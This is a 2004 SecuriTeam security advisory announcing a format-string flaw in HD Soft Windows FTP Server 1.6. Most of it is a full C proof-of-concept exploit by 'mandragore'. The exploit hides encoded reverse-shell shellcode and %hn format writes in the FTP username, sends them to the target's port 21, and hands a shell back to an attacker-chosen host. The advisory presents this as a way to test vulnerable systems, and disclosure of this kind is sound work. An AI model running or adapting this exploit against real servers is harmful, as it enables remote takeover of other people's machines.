[EXPL] HD Soft Windows FTP Server Format String Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/15/04

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Date: 15 Jan 2004 17:52:23 +0200

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      HD Soft Windows FTP Server Format String Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    As we previously reported in
    <http://www.securiteam.com/windowsntfocus/5MP0B0ABPE.html> Windows FTP
    Server Format String Vulnerability, a vulnerability in HD Soft's Windows
    FTP server, allows remote attacker to cause the product to execute
    arbitrary code, by supplying a special format string as the username.
    Below is a proof-of-concept exploit code that can be used to test your
    system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * HD Soft Windows FTP Server version 1.6 and below

    Exploit:
    /*
    date: 12 janv 2004
    subject: PoC exploit for Windows Ftp Server v1.6
    vendor: http://srv.nease.net
    credits: Peter Winter-Smith for the bug discovery
    shellcode: reverse shell (~ 200 bytes)
    notes: universal (doesn't rely on NT version), 2nd version of
    this exploit
    greets: rosecurity team
    author: mandragore, sploiting@mandragore.solidshells.com
    */

    #include < stdio.h>
    #include < stdlib.h>
    #include < sys/types.h>
    #include < sys/socket.h>
    #include < netinet/in.h>
    #include < arpa/inet.h>
    #include < unistd.h>
    #include < netdb.h>
    #include < fcntl.h>
    #include < unistd.h>

    unsigned char sc[]={
    // some padding
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
    // restore patched code in MFC42.DLL so it doesn't crash yet
    0xBF,0x2B,0x38,0x40,0x5F,0x66,0xB8,0x53,0x8B,0x66,0xAB,0x47,0x66,0xB8,0x40,0xB1,0x66,0xAB,
    // overoptimised reverse shell relying on offsets in the
    WinFTPServer.exe's IAT
    0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB7,0x80,0x36,0x96,0x46,0xE2,0xFA,
    0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xF2,0xF1,0x19,0x90,0x96,0x96,0x28,0x1A,0x06,0xD7,
    0x96,0xFE,0xA5,0xA4,0x96,0x96,0xFE,0xE1,0xE5,0xA4,0xC9,0xC2,0x69,0x83,0x06,0x06,
    0xD7,0x96,0x01,0x0F,0xC4,0xC4,0xC4,0xC4,0xD4,0xC4,0xD4,0xC4,0x7E,0x9D,0x96,0x96,
    0x96,0xC1,0xC5,0xD7,0xC5,0xF9,0xF5,0xFD,0xF3,0xE2,0xD7,0x96,0xC1,0x69,0x80,0x69,
    0x46,0x05,0xFE,0xE9,0x96,0x96,0x97,0xFE,0x94,0x96,0x96,0x14,0x1D,0x52,0xFC,0x86,
    0xC6,0xC5,0x7E,0x9E,0x96,0x96,0x96,0xF5,0xF9,0xF8,0xF8,0xF3,0xF5,0xE2,0x96,0xC1,
    0x69,0x80,0x69,0x46,0xFC,0x86,0xCF,0x1D,0x6A,0xC1,0x95,0x6F,0xC1,0x65,0x3D,0x1D,
    0xAA,0xB2,0x50,0x91,0xD2,0xF0,0x51,0xD1,0xBA,0x97,0x97,0x1F,0xC9,0xAE,0x1F,0xC9,
    0xAA,0x1F,0xC9,0xD6,0xC6,0xC6,0xC6,0xFC,0x97,0xC6,0xC6,0x7E,0x92,0x96,0x96,0x96,
    0xF5,0xFB,0xF2,0x96,0xC6,0x7E,0x99,0x96,0x96,0x96,0xD5,0xE4,0xF3,0xF7,0xE2,0xF3,
    0xC6,0xE4,0xF9,0xF5,0xF3,0xE5,0xE5,0xD7,0x96,0xF2,0xF1,0x37,0xA6,0x96,0x1D,0xD6,
    0x9A,0x1D,0xD6,0x8A,0x1D,0x96,0x69,0xE6,0x9E,0x69,0x80,0x69,0x46};

    void usage(char *argv0) {
            printf("usage: %s -d < ip_dest> [options]\n",argv0);
            printf("options:\n");
            printf(" -h ip_host for the reversed shell (default
    127.0.0.1)\n");
            printf(" -p port for the reversed shell (default 80)\n\n");
            exit(1);
    }

    int main(int argc, char **argv) {
            struct sockaddr_in saddr;
            #define port 21
            int target=0, lhost=0x0100007f;
            int lport=80;
            int where=0x5f40382b;
            int val1=0xc283, val2=0xe2ff;
            int delta=0x11eeca8-0x11ee96c;
            char *buff;
            int s, ret, i;

            printf("[%%] winftpserv v1.6 sploit by mandragore (v2)\n");

            if (argc< 2) {
                    usage(argv[0]);
            }

            while((i = getopt(argc, argv, "d:h:p:"))!= EOF) {
                    switch (i) {
                    case 'd':
                            target=inet_addr(optarg);
                            break;
                    case 'h':
                            lhost=inet_addr(optarg);
                            break;
                    case 'p':
                            lport=atoi(optarg);
                            break;
                    default:
                            usage(argv[0]);
                            break;
                    }
            }

            if ((target==-1) || (lhost==-1))
                    usage(argv[0]);

            printf("[.] if working you'll have a shell on %s:%d
    \n",inet_ntoa(*(struct in_addr *)&lhost),lport);
            printf("[.] launching attack on %s..\n",inet_ntoa(*(struct in_addr
    *)&target));

            lport=lport ^ 0x9696;
            lport=(lport & 0xff) < < 8 | lport >>8;
            memcpy(sc+17+18+0x5a,&lport,2);

            lhost=lhost ^ 0x96969696;
            memcpy(sc+17+18+0x53,&lhost,4);

            buff=(char *)malloc(4096);
            bzero(buff,4096);

            memcpy(buff,&where,4);
            strcat(buff,"xyzy");
            where+=3;
            memcpy(buff+8,&where,4);

            strncat(buff,sc,strlen(sc));

            for (i=0;i< (delta-1)/4;i++) {
                    strcat(buff,"%08x");
            }

            sprintf(buff, "%s%%0%dx%%hn%%0%dx%%hn\r\n", buff,
    val1-strlen(sc)-((delta-1)/4)*8-4*3-7, val2-val1);

            saddr.sin_family = AF_INET;
            saddr.sin_addr.s_addr = target;
            saddr.sin_port = htons(port);

            s=socket(2,1,6);

            ret=connect(s,(struct sockaddr *)&saddr, sizeof(saddr));
            if (ret==-1) {
                    perror("[-] connect()");
                    exit(1);
            }

            send(s,buff,strlen(buff),0);

            recv(s,buff,1024,0);

            close(s);

            printf("[+] done.\n");

            exit(0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:sploiting@mandragore.solidshells.com> mandragore.

    ========================================

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